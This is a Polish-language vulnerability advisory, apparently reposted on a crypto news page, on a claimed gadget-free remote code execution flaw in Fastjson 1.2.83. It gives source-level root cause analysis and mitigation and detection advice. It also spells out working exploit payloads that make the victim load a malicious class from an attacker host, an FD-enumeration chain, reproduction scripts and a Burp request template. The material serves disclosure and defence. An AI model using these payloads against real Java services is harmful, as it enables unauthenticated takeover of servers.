Szczegółowa analiza i przewodnik obrony przed luką „Gadget-Free” Fastjson 1.2.83 (0day)
Fastjson 1.2.83 w domyślnym ustawieniu AutoType=false nadal może wywołać zdalne wykonanie kodu bez tradycyjnych gadgetów, co zostało odtworzone w izolowanym środowisku JDK 8/17/21/25 + Spring Boot Loader.
Podsumowanie
W tradycyjnym systemie obrony przed lukami w deserializacji Java w branży panuje powszechne przekonanie, że: „AutoType domyślnie wyłączone jest bezpieczne”, „ustawienie drugiego parametru parseObject (górny typ docelowy) jest bezpieczne”, „wyczyszczenie lokalnych zależności gadgetów deserializacji jest bezpieczne”. Jednak najnowszy rozwój technologii ataków i obrony całkowicie obala te złudzenia.
GCSA Global Cyber Security Alliance dzisiaj ekskluzywnie publikuje ten raport analityczny. Raport szczegółowo analizuje, jak Fastjson 1.2.83 w domyślnym stanie AutoType=false nadal może wywołać zdalne wykonanie kodu (RCE) bez zależności od tradycyjnych gadgetów. Obecnie ta technika wykorzystania została pomyślnie odtworzona w izolowanym środowisku JDK 8 / 17 / 21 / 25 oraz Spring Boot Loader. Ta luka nie jest tradycyjnym „omijaniem czarnej listy w poszukiwaniu lokalnych gadgetów”, lecz bezpośrednim odwróceniem logiki wykrywania metadanych klas Fastjson w kanał pozyskiwania i autoryzacji zdalnych złośliwych klas. Oto treść raportu
- Organ wydający: GCSA Global Cyber Security Alliance
- Typ raportu: ekskluzywna analiza techniczna / szczegółowa analiza luki
- Data raportu: 2026-07-21
- Status raportu: zakończono audyt źródłowy i odtworzenie w izolowanym środowisku
- Numer luki: wewnętrzny numer badawczy FJ-GETRESOURCE-RCE (nie odpowiada opublikowanemu CVE)
Fastjson 1.2.83 w domyślnym ustawieniu AutoType=false nadal może wywołać zdalne wykonanie kodu bez tradycyjnych gadgetów, co zostało odtworzone w izolowanym środowisku JDK 8/17/21/25 + Spring Boot Loader. Zaleca się natychmiastowe włączenie SafeMode i migrację do Fastjson 2.x.
- Podsumowanie wykonania
ParserConfig.checkAutoType Fastjson 1.2.83 przekształca wartości @type kontrolowane przez użytkownika na nazwy zasobów klas i przekazuje je do getResourceAsStream aktualnego ClassLoadera:
String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
W środowisku ClassLoader fat-jar, które może analizować absolutne nazwy zasobów URL, atakujący może wykorzystać zamianę kropek do skonstruowania URL http:, jar:http: i jar:file:, aby pobrać złośliwą klasę z adnotacją @JSONType. Gdy Fastjson wykryje tę adnotację, wywoła loadClass i bezpośrednio zwróci tę klasę przed sprawdzeniem niebezpiecznych klas bazowych i zgodności typów docelowych. Klasa jest instancjonowana i inicjowana, co pozwala na wykonanie dowolnego kodu.
To wykorzystanie nie polega na zależności od tradycyjnych gadgetów deserializacji już obecnych w docelowej classpath, a nadal może być wywołane w domyślnym stanie Fastjson AutoType=false. Ustalenie docelowego typu JSON.parseObject nie może powstrzymać wykonania; włączenie SafeMode może zablokować normalną ścieżkę wykorzystania przed dostępem do zasobów.
Raport ten zakończono używając tego samego ładunku JSON w izolowanym kontenerze Linux:
- Ocena luki
Nie zaleca się wydawania jednolitego CVSS 9.8 tylko na podstawie wersji komponentu: zwykły AppClassLoader jest kontrolą negatywną, a nowoczesny pełny łańcuch JDK również polega na loaderze, który może analizować dwa rodzaje absolutnych URL JAR oraz /proc/self/fd. W aplikacjach spełniających warunki opisane w tym raporcie, skutki luki to zdalne RCE bez uwierzytelnienia.
- Zakres wpływu i warunki wstępne
3.1 Potwierdzony zakres
- Potwierdzenie w czasie rzeczywistym: Fastjson 1.2.83
- Potwierdzenie JDK: 8, 17, 21, 25
- Potwierdzenie systemu operacyjnego: Linux; macOS również zakończyło odtworzenie JDK 17/21/25 z użyciem /dev/fd
- Potwierdzenie loadera: Spring Boot 2.7.18 classic loader + JDK 8; Spring Boot 3.2.0 loader + JDK 17/21/25
- Potwierdzenie API: JSON.parse oraz JSON.parseObject z ustalonym typem górnym
3.2 Opis zakresu wersji
Zewnętrzny opis 1.2.68--1.2.83 jest bardziej odpowiedni jako znany zakres testowy, a nie jako wersja wprowadzająca lukę. Weryfikacja źródłowa wskazuje, że decydujący kod wykrywania zasobów klas już istniał w wersjach 1.2.67 i 1.2.68. Ten raport dotyczy tylko wersji 1.2.83, dla której przeprowadzono pełne weryfikacje w różnych środowiskach JDK.
3.3 Warunki wymagane do wykorzystania
- Atakujący może kontrolować JSON przekazywany do Fastjson, a @type w wejściu będzie analizowane
- SafeMode nie jest włączony
- ClassLoader ładujący Fastjson może przekształcić skonstruowaną absolutną nazwę zasobu w URL
- Proces ofiary może łączyć się z serwisem HTTP atakującego
- Nowoczesny łańcuch Linux wymaga, aby /proc/self/fd było czytelne, a loader mógł analizować jar:file:/proc/self/fd/N!...
- JDK musi być w stanie tworzyć normalne tymczasowe pamięci podręczne zdalnych JAR; zazwyczaj oznacza to, że katalog tymczasowy JVM musi być zapisywalny
Atakujący nie musi:
- Zapisywać plików w docelowej classpath
- Mieć wstępnie zainstalowanych gadgetów, takich jak TemplatesImpl, JNDI, C3P0, Commons Collections itp. w docelowej classpath
- Włączać Fastjson AutoType
- Kontrolować drugi parametr JSON.parseObject
- Analiza przyczyn
4.1 Nazwa typu użytkownika traktowana jako URL zasobu
Lokalizacja źródła:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498
Kod kluczowy:
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
Ta logika zakłada, że zasób jest tylko zwykłą ścieżką classpath, ale nie ogranicza jej protokołu, semantyki ścieżki absolutnej ani źródła. Dla konkretnego loadera fat-jar następujące wejście po zamianie staje się absolutnym URL:
Nazwa typu wejściowego: http:..localhost:18081.a
Nazwa zasobu: http://localhost:18081/a.class, dlatego getResourceAsStream przekracza lokalne zapytanie metadanych, aby załadować zasoby sieciowe kontrolowane przez atakującego.
4.2 Zdalna klasa @JSONType traktowana jako podstawa autoryzacji
Fastjson używa własnego ASM ClassReader do analizy zawartości zasobów:
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Atakujący musi tylko zapewnić, że zdalna klasa ma adnotację @JSONType Fastjson, aby ustawić jsonType na true. Tutaj sprawdzane są bajty dostarczone przez atakującego, a nie klasa już załadowana przez zaufaną classpath.
4.3 jsonType wyzwala rzeczywiste ładowanie klasy
Lokalizacja źródła:
ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass próbuje kolejno załadować klasę przy użyciu loadera, kontekstu wątku oraz Class.forName. W środowisku pozytywnym kontekst wątku ponownie rozwiązuje tę samą absolutną nazwę zasobu, pobiera klasę i wykonuje defineClass.
4.4 Wczesne zwracanie @JSONType omija dalsze kontrole bezpieczeństwa
Lokalizacja źródła:
ParserConfig.java:1505-1528
if (clazz != null) {
if (jsonType) {
return clazz; } // Te kontrole są wykonywane po zwróceniu jsonType.
if (ClassLoader.class.isAssignableFrom(clazz)
|| DataSource.class.isAssignableFrom(clazz)
|| RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException(...); } if (expectClass != null) {
// sprawdzanie przypisania również jest wykonywane później.
}
}
Zdalna klasa, gdy zawiera @JSONType:
- Kontrola niebezpiecznych klas bazowych nie jest wykonywana
- expectClass.isAssignableFrom(clazz) nie jest wykonywane
- Typy związane z danymi nie mogą być zablokowane przed wykonaniem przed inicjalizacją klasy
4.5 Suffix Exception/Error tworzy nieudany kanał awaryjny
Lokalizacja źródła:
ParserConfig.java:1537-1542
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null; }
throw new JSONException("autoType nie jest obsługiwane. " + typeName); }
Nowoczesny JDK w pierwszej fazie nie załadowuje z powodu nieprawidłowej nazwy klasy wewnętrznej. Gdy nazwa typu kończy się na Exception, Fastjson nie przerywa całego JSON, lecz zwraca null, co pozwala parserowi kontynuować przetwarzanie elementów wyliczeniowych FD w tablicy. Ta gałąź jest kluczowa dla wykonania jednego ładunku w różnych fazach.
4.6 Lokalizacja SafeMode
Kontrola SafeMode znajduje się przed dostępem do zasobów:
ParserConfig.java:1325-1330
Dlatego domyślna ścieżka SafeMode może zablokować żądania sieciowe. Jednak AutoTypeCheckHandler znajduje się przed SafeMode (ParserConfig.java:1316-1323); jeśli aplikacja aktywnie zarejestruje handler, który bezpośrednio zwraca typ, należy go audytować osobno, nie można traktować SafeMode jako absolutnej granicy, która może zastąpić niestandardowy handler.
- Szczegółowa analiza wykorzystania łańcucha
5.1 JDK 8: bezpośrednie ładowanie zdalnej klasy
Najkrótsza forma:
{"@type":"http:..localhost:18081.a"}
Łańcuch konwersji:
nazwa typu binarnego: http:..localhost:18081.a
URL zasobu: http://localhost:18081/a.class
nazwa wewnętrzna klasy: http://localhost:18081/a
JDK 8 akceptuje powyższą nietypową nazwę klasy wewnętrznej. Spring Boot 2.7 z LaunchedURLClassLoader pobiera klasę, a następnie kończy definicję, instancjację i inicjalizację, wykonując złośliwe polecenie
JDK 17+ również wykonuje żądania sieciowe, ale odrzuca puste segmenty ścieżki w nazwach wewnętrznych,
ClassFormatError: Nieprawidłowa nazwa klasy "http://localhost:18081/a"
Dlatego krótka forma http:.. sama w sobie kończy się RCE tylko w JDK 8.
5.2 Nowoczesny JDK w pierwszej fazie: pobieranie zdalnego JAR
Pierwszy element tablicy z pojedynczym ładunkiem:
{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}
Wynik konwersji:
URL zasobu:
jar:http://attacker:18081/x!/foo/Exception.class
Metoda sun.net.www.protocol.jar.URLJarFile.retrieve JDK tworzy pliki tymczasowe jar_cache*, kopiując zdalny JAR do tego pliku.
JDK 17+ następnie odrzuca wewnętrzne nazwy jar:http://... w pierwszej fazie, ale Fastjson kontynuuje analizę tablicy z powodu sufiksu Exception.
5.3 Nowoczesny JDK w drugiej fazie: ponowne otwarcie pamięci podręcznej FD
Kolejne elementy kandydatów:
{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}
Łańcuch konwersji:
nazwa typu binarnego:
jar:file:.proc.self.fd.7!.fd7.Exception URL zasobu:
jar:file:/proc/self/fd/7!/fd7/Exception.class wewnętrzna nazwa klasy:
jar:file:/proc/self/fd/7!/fd7/Exception
W przeciwieństwie do http://, każdy komponent oddzielony / w tej nazwie wewnętrznej jest niepusty, dlatego nowoczesny JVM akceptuje. W atakującym JAR przygotowano wejście dla każdego kandydata FD:
fd3/Exception.class
fd4/Exception.class
...
fd64/Exception.class
Każda klasa ma wewnętrzną nazwę w puli stałych, która dokładnie odpowiada typowi żądania odpowiadającemu FD i zawiera @JSONType. Po trafieniu w rzeczywisty uchwyt pamięci podręcznej Fastjson ładuje i instancjonuje tę klasę, wykonując polecenie
Pierwsze trafienie w logach ładowania klas JDK 17 to:
jar:file:.proc.self.fd.7!.fd7.Exception
5.4 Dlaczego jeden ładunek jest jednocześnie zgodny z JDK 8 i nowoczesnym JDK
JDK 8 bezpośrednio akceptuje pierwszą fazę jar:http://... klasy i wykonuje
Po wykonaniu polecenia klasy w pierwszej fazie celowo rzuca RuntimeException("stage-one-stop"), aby zapobiec dalszym próbom JDK 8 w odniesieniu do nieistotnych socketów/FD rury
JDK 17+ niepowodzenie z powodu nieprawidłowej nazwy w pierwszej fazie przed inicjalizacją klasy, a następnie przechodzi przez fazę enumeracji FD przez Exception jako miękki powrót.
- Środowisko reprodukcji i dowody
6.1 Hash testowanego komponentu
fastjson-1.2.83.jar
SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar
SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar
SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b
6.2 Reprodukcja jednym kliknięciem
cd
PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh
Oczekiwany wynik:
JDK 8 : RCE-OK
JDK 17: RCE-OK
JDK 21: RCE-OK
JDK 25: RCE-OK
Skrypt:
- Kompilacja ofiary fat jar;
- Generowanie atakującego JAR z klasą FD;
- Generowanie tablicy JSON payload;
- Uruchomienie usługi HTTP atakującego w izolowanej sieci Docker;
- Uruchomienie kontenerów ofiary JDK 8/17/21/25;
- Sprawdzenie, co każdy kontener mapuje na /tmp/fastjson-getresource-rce.
6.3 Ręczne generowanie atakującego JAR i payload
cd
--host attacker \
--port 18081 \
--fd-root /proc/self/fd \
--min-fd 3 \
--max-fd 64 \
--out-jar target/getresource-repro/www-linux/x \
--out-json target/getresource-repro/fd-payload-linux.json
Wygenerowane:
Attacker JAR: target/getresource-repro/www-linux/x
JSON payload: target/getresource-repro/fd-payload-linux.json
--host zaleca się użycie etykiety DNS bez kropek lub dziesiętnego IPv4. Powód nie jest związany z omijaniem localhost, lecz z tym, że Fastjson zamienia wszystkie . w nazwie typu na /. Na przykład dziesiętne IPv42130706433 jest równoważne 127.0.0.1, ale nie zostanie rozdzielone przez kropki.
6.4 Dostarczanie przez Burp Suite
Burp odpowiada tylko za wysyłanie JSON do interfejsu ofiary, który ma punkty analizy Fastjson; atakujący JAR nadal musi być dostarczany przez usługę HTTP atakującego.
Szablon żądania:
POST /parse HTTP/1.1
Host: victim.example
Content-Type: application/json
Connection: close
Content-Length: ... [Umieść tutaj pełną zawartość fd-payload-linux.json.]
Jeśli aplikacja używa stałego typu najwyższego poziomu, można opakować tablicę zgodnie z strukturą pól, na przykład:
{"value":[/* Wszystkie elementy tablicy w fd-payload-linux.json */]}
W tym eksperymencie użyto JSON.parseObject(json, BoundEnvelope.class) do analizy powyższego opakowania, a wynik nadal to RCE-OK i prawidłowo zwraca BoundEnvelope.
6.5 Kluczowe testy graniczne
- Zalecenia dotyczące naprawy i łagodzenia
7.1 Preferencje: Migracja z Fastjson 1.x
Preferowana migracja do utrzymywanego Fastjson 2.x oraz ponowne zweryfikowanie wszystkich typów polimorficznych, AutoType i konfiguracji trybu zgodności. Nie zastępuj tylko JAR-a bez testów regresyjnych.
7.2 Natychmiastowe włączenie SafeMode
Konfiguracja kodu:
ParserConfig.getGlobalInstance().setSafeMode(true);
Parametry JVM:
-Dfastjson.parser.safeMode=true
Uwaga: Jeśli aplikacja zarejestrowała AutoTypeCheckHandler, należy przeprowadzić audyt lub usunąć, ponieważ handler wykonuje się przed sprawdzeniem SafeMode.
7.3 Ograniczenie punktów deserializacji
- Nie przekazuj nieufnych żądań bezpośrednio do JSON.parse/JSON.parseObject
- Odrzuć wszelkie formy specjalnych metadanych typów na bramie lub punkcie wejścia aplikacji
- Tylko stały typ Java na najwyższym poziomie nie jest wystarczającą obroną, ponieważ zagnieżdżone obiekty mogą nadal obsługiwać @type, a jsonType tej luki wcześniej omija sprawdzenie zgodności
7.4 Tymczasowe zasady WAF/bramy
Tymczasowo blokuj żądania, których klucz JSON po dekodowaniu jest równy @type, oraz nadpisuj parametry URL, ciało żądania i zagnieżdżone obiekty. Nie można tylko szukać jawnego "@type", ponieważ leksykon Fastjson najpierw dekoduje nazwy pól, na przykład:
{"\u0040type":"..."}
{"\x40type":"..."}
Zasady WAF mogą być stosowane tylko jako łagodzenie, nie mogą zastąpić aktualizacji komponentów i SafeMode.
7.5 Ograniczenia sieciowe i wzmocnienie w czasie działania
- Zabroń JVM biznesowym nawiązywania połączeń HTTP/HTTPS do niepotrzebnych zewnętrznych adresów.
- Wprowadź minimalną politykę sieciową dla kontenerów aplikacji.
- Ogranicz ujawnienie /proc/self/fd lub użyj bardziej rygorystycznego piaskownicy kontenera, gdy jest to zgodne z kompatybilnością.
- Audytuj, jak ClassLoader obsługuje absolutne nazwy zasobów URL, odrzucając formy protokołów http:, https:, jar:, file: itp.
- Monitoruj nietypowe działania jar_cache* w katalogu tymczasowym JVM.
- Zalecenia dotyczące wykrywania i IOC
8.1 Cechy po stronie żądania
Skup się na dekodowanych wartościach @type, które zawierają:
http:..
jar:http:..
jar:file:.proc.self.fd.
jar:file:.dev.fd.
!.fd
Exception
Pojedyncze wystąpienie Exception nie jest wystarczające do alarmowania, powinno być analizowane w połączeniu z formą protokołu, @type i ciągłymi kandydatami FD w tablicy.
8.2 Cechy po stronie sieci
- JVM wysyła żądania do nietypowych hostów o plikach JAR bez rozszerzenia lub .class
- W tym samym czasie żądania analizy występują 1-3 razy powtarzające się GET/HEAD
- W ścieżce żądania mogą występować /x, /a.class lub niestandardowe równoważne ścieżki atakującego
8.3 Cechy po stronie hosta
- Katalog tymczasowy JVM tworzy jar_cache*
- Proces Java ponownie otwiera swoje pliki przez /proc/self/fd/N
- Logi ładowania klas zawierają podobne jar:file:.proc.self.fd.7!.fd7.Exception
jar:file:.proc.self.fd.7!.fd7.Exception
- Wnioski
Ta luka nie jest tradycyjnym "omijaniem czarnej listy w poszukiwaniu lokalnych gadgetów", lecz przekształca logikę wykrywania metadanych klas Fastjson w zdalny kanał uzyskiwania klas i autoryzacji. @JSONType wcześniej zwraca, co sprawia, że klasy dostarczane przez atakującego są akceptowane przed sprawdzeniem niebezpiecznych klas bazowych i typów; wyjątek jako miękka ścieżka niepowodzenia oraz tymczasowa pamięć podręczna JDK jar:http: rozszerza bezpośrednie ładowanie JDK 8 do JDK 17/21/25.
Dlatego poniższe powszechne oceny są nieważne:
- "AutoType domyślnie wyłączone, więc jest bezpieczne" --- nieważne
- "Stałe parseObject drugiego parametru, więc jest bezpieczne" --- nieważne
- "Classpath nie ma znanych gadgetów, więc jest bezpieczne" --- nieważne
- "JKD 17+ odrzuci wewnętrzne nazwy http://, więc to tylko SSRF" --- nieważne
W przypadku wdrożeń spełniających zweryfikowane warunki loadera, sieci i deskryptora plików, problem ten może przekształcić pojedyncze nieautoryzowane żądanie JSON w rzeczywiste zdalne wykonanie kodu. Należy priorytetowo traktować migrację do Fastjson 2.x oraz natychmiastowe włączenie SafeMode, zaostrzenie granic sieciowych i analizy zasobów ClassLoader.
- Załączniki i ścieżki dowodowe
Pełny dziennik badań: target/FASTJSON_1_2_83_RCE_ANALYSIS.md
Instrukcje reprodukcji: target/getresource-repro/README.md
Krótki łańcuch JDK 8: target/getresource-repro/reproduce.sh
Pełny łańcuch JDK 8/17/21/25 Linux: target/getresource-repro/reproduce_fd_chain.sh
Generator atakującego JAR/ładunku: target/getresource-repro/build_fd_chain.py
Wygenerowany ładunek Linux: target/getresource-repro/fd-payload-linux.json
JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log
Cena --
Niniejsza treść ma charakter wyłącznie informacyjny i nie stanowi porady finansowej, inwestycyjnej, prawnej ani podatkowej. Wszelkie wydarzenia, nagrody, promocje online lub powiązane informacje, o których tu mowa, nie powinny być traktowane jako rekomendacja, zachęta ani zaproszenie do kupna, sprzedaży, wymiany lub innego rodzaju obrotu aktywami kryptograficznymi. Aktywa kryptograficzne charakteryzują się dużą zmiennością i mogą prowadzić do strat. Dostępność usług, produktów i powiązanych wydarzeń WEEX może się różnić w zależności od regionu. Użytkownik jest odpowiedzialny za upewnienie się, że jego udział jest zgodny z obowiązującymi lokalnymi przepisami i regulacjami.
Możesz również polubić

Twyne zakończyło rundę finansowania seed, Cyber Fund i Ethereal Ventures liderami inwestycji

Użytkownicy CyberWallet muszą wypłacić środki do 15 sierpnia przed zamknięciem

OpenAI wprowadza model GPT-5.6-Cyber, zwiększając zdolności w zakresie zadań związanych z bezpieczeństwem sieci

Rob Hamilton wykorzysta chińską AI do ochrony Bitcoina po ograniczeniach OpenAI

Uppsala Security dołącza do Cyber Threat Alliance (CTA)

Kieszonkowy wynalazek 2 w 1: głośnik Bluetooth, który pozwala również tworzyć własną muzykę

Google zaprezentował nowe modele Gemini, opóźnienie wydania 3.5 Pro

QIZ Security zakończyło rundę seedową finansowania na 17 milionów dolarów

Z finansowaniem na poziomie 19 milionów, jak Extended stało się liderem w dziedzinie instrumentów pochodnych Starknet?

Jeśli USA i Iran nie osiągną porozumienia w ciągu 5 dni, jakie inne karty ma w rękawie Trump?

Bitcoin potrzebuje popytu na ETF, aby utrzymać się w obliczu rosnącego ryzyka podwyżek stóp procentowych przez Fed: analitycy

SEC oskarża 38 podmiotów o fałszywe zgłoszenia doradcze inwestycyjne

Byli urzędnicy SEC i CFTC wzywają do łagodniejszego podejścia, aby przyciągnąć handel kryptowalutami do kraju

Partnerstwo Solana crypto z rekordem 169,9 miliona transakcji

Cyberataki: Sztuczna inteligencja (SI) może destabilizować światową finansję!

Boom na debiuty giełdowe w Chinach: firmy zajmujące się AI i robotyką prowadzą w Szanghaju i Hongkongu

HKDAP może przenieść HKD poza płatności do finansów on-chain, mówi badacz HashKey

NASA i SpaceX opóźniają Crew-13 z powodu wycieku w statku Dragon

Coinhouse przejmuje Tilvest i umacnia swoją pozycję w zarządzaniu kryptowalutami

Strive kupuje Bitcoiny o wartości 143 mln USD, staje się piątym co do wielkości posiadaczem

"Technologia schodzi na drugi plan": jak stablecoiny przechodzą od oszczędności do codziennych płatności

Główna sieć Fogo została zatrzymana na 46 godzin bez harmonogramu ponownego uruchomienia

Circle wyemitowała 5 miliardów USDC w ciągu tygodnia: rynek kryptowalut ponownie czeka na sezon altcoinów

Hacking: Belgia wymaga adresów kryptowalutowych od nielegalnych stron

Banki poprawiły swoją rentowność, ale nadal istnieje zagrożenie z powodu zaległości: kluczowe informacje z ostatnich bilansów

CME stawia na ETF-y: powstają pierwsze regulowane indeksy kryptowalutowe multi-asset FCA

Dlaczego ścieżka kryptowalutowa SEC o wartości 75 milionów dolarów nie jest tym samym, co oferta Kongresu

Fundusze kryptowalutowe: 3,2 miliarda $ w tydzień, Bank of America nie widziała tego od października 2025

Co warto zachować: Ruptura na temat pozostałości, rozkładu i dylematu kolekcjonera







